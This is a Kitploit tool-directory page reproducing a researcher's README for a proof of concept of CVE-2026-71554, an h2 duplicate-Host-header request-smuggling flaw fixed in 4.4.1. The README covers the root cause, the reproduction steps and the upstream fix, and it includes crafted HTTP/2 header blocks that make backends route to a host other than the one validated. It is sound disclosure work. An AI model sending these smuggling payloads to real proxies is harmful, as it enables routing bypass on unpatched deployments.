Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
poc-h2-CVE-2026-71554 — PoC for CVE-2026-71554 - h2 duplicate Host header request smuggling primitive (fixed in 4.4.1) | Kitploit
도구/GitHubGitHub/sunandm/poc-h2-cve-2026-71554
Vulnerability AnalysisExploitationWeb Application ExploitationAPI Security TestingWeb SecurityAPI SecurityAdversarial Attack
GitHubsunandm/poc-h2-cve-2026-71554

poc-h2-CVE-2026-71554

PoC for CVE-2026-71554 - h2 duplicate Host header request smuggling primitive (fixed in 4.4.1)

저장소 보기
141개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
요청한 언어로 콘텐츠를 사용할 수 없습니다. 영어 버전을 표시합니다.

CVE-2026-71554 - h2 Duplicate Host Header Request Smuggling Primitive

This is my first CVE, and I have released this PoC to document the finding and help others understand and reproduce it.

CVE: CVE-2026-71554 GHSA: GHSA-6hr6-w5qg-qmwg Affected: h2 <= 4.4.0 Fixed: h2 4.4.1 Severity: Medium (CWE-444, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L = 5.3) NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-71554


What I Found

While reviewing h2's header validation logic, I noticed that _validate_host_authority_header() in src/h2/utilities.py checks that Host and match - but only compares the Host header it sees. If you send two Host headers, h2 uses the second one for the match check and forwards both to the application without complaint.

:authority
last

Interestingly, h2 4.4.0 already rejects duplicate Content-Length headers with a ProtocolError. The same fix was never applied to Host. There was even a TODO comment in the source acknowledging this exact gap:

root@kitploit:~
# TODO: We should also guard against receiving duplicate Host headers,
#       and against sending duplicate headers.

Root Cause

_validate_host_authority_header() in src/h2/utilities.py uses a last-wins loop that records the last Host value seen and checks only that:

  1. At least one of :authority or Host is present
  2. When both are present, they match

There is no check on the number of Host headers. Each Host header is yielded downstream to the application regardless of how many are present.


Attack Scenarios

Case 1 - Two Host headers, no :authority

Client sends:

root@kitploit:~
:method: GET
:path: /
:scheme: https
host: good.internal
host: evil.attacker

h2 accepts both. Application receives both Host headers.

HTTP/1.1 downgrade produces:

root@kitploit:~
GET / HTTP/1.1
host: good.internal
host: evil.attacker

RFC 9112 s3.2 requires a server to respond 400 to any HTTP/1.1 request containing more than one Host header. Backends diverge:

root@kitploit:~
nginx          — rejects with 400
Python stdlib  — accepts, returns FIRST Host on lookup
Werkzeug       — accepts, returns FIRST Host on lookup

Case 2 - Stealth smuggling (:authority bypass)

Client sends:

root@kitploit:~
:method: GET
:path: /
:scheme: https
:authority: good.internal
host: evil.attacker     <- index 0, first Host (seen by origin)
host: good.internal     <- index 1, last Host (used by h2 validator)

h2 validates: last Host (good.internal) == :authority (good.internal) - passes.

Application receives both Host headers. HTTP/1.1 downgrade produces:

root@kitploit:~
GET / HTTP/1.1
host: evil.attacker
host: good.internal

Backends that return the first Host on a single-key lookup route the request to evil.attacker while h2 believed it validated good.internal. Complete routing desync between what h2 validated and what the origin processes.


Control - Single mismatched Host correctly rejected

root@kitploit:~
:method: GET
:path: /
:scheme: https
:authority: good.internal
host: evil.attacker

h2 raises ProtocolError. Confirms the gap is specific to duplicate Host headers.


What Can Be Affected

Impact is conditional on the deployment architecture:

  • Affected: Reverse proxies or API gateways that accept HTTP/2 from clients and downgrade to HTTP/1.1 when forwarding to backends, where the backend uses the first Host header for routing decisions
  • Affected backends (empirically tested): Python stdlib http.client, Werkzeug Headers -both accept duplicate Host and return the first value
  • Unaffected backends: nginx - rejects with 400 on duplicate Host
  • Unaffected deployments: End-to-end HTTP/2 with no HTTP/1.1 downgrade

Steps to Reproduce

Requirements

root@kitploit:~
pip install h2==4.4.0

Run

root@kitploit:~
python3 poc_h2_duplicate_host.py

Expected output on vulnerable 4.4.0

root@kitploit:~
CASE 1 - Two Host headers, no :authority (both forwarded)
h2 forwarded Host headers: ['good.internal', 'evil.attacker']
Resulting HTTP/1.1 request:
GET / HTTP/1.1
host: good.internal
host: evil.attacker

CASE 2 - STEALTH: :authority matches LAST Host, first Host smuggled
:authority=['good.internal']  Host(s)=['evil.attacker', 'good.internal']
h2 mismatch check PASSES (:authority == last Host).
Resulting HTTP/1.1 request:
GET / HTTP/1.1
host: evil.attacker
host: good.internal

CONTROL - Single mismatched Host vs :authority (correctly rejected)
[control] SENDER rejected: ProtocolError(...)

Verify the fix on 4.4.1

root@kitploit:~
pip install h2==4.4.1
python3 poc_h2_duplicate_host.py

All three cases raise ProtocolError. No headers forwarded.


The Fix

One counter added to the existing loop in _validate_host_authority_header():

root@kitploit:~
host_header_count = 0
for header in headers:
    if header[0] == b"host":
        host_header_count += 1
    yield header

if host_header_count > 1:
    raise ProtocolError("Request header block has multiple Host headers.")

Commit: https://github.com/python-hyper/h2/commit/292a40829feefda98c8509dcdbbb4a57af9bd6a6


Credit

Found and reported by Sunand Mohan (https://github.com/SunandM)

도구 다운로드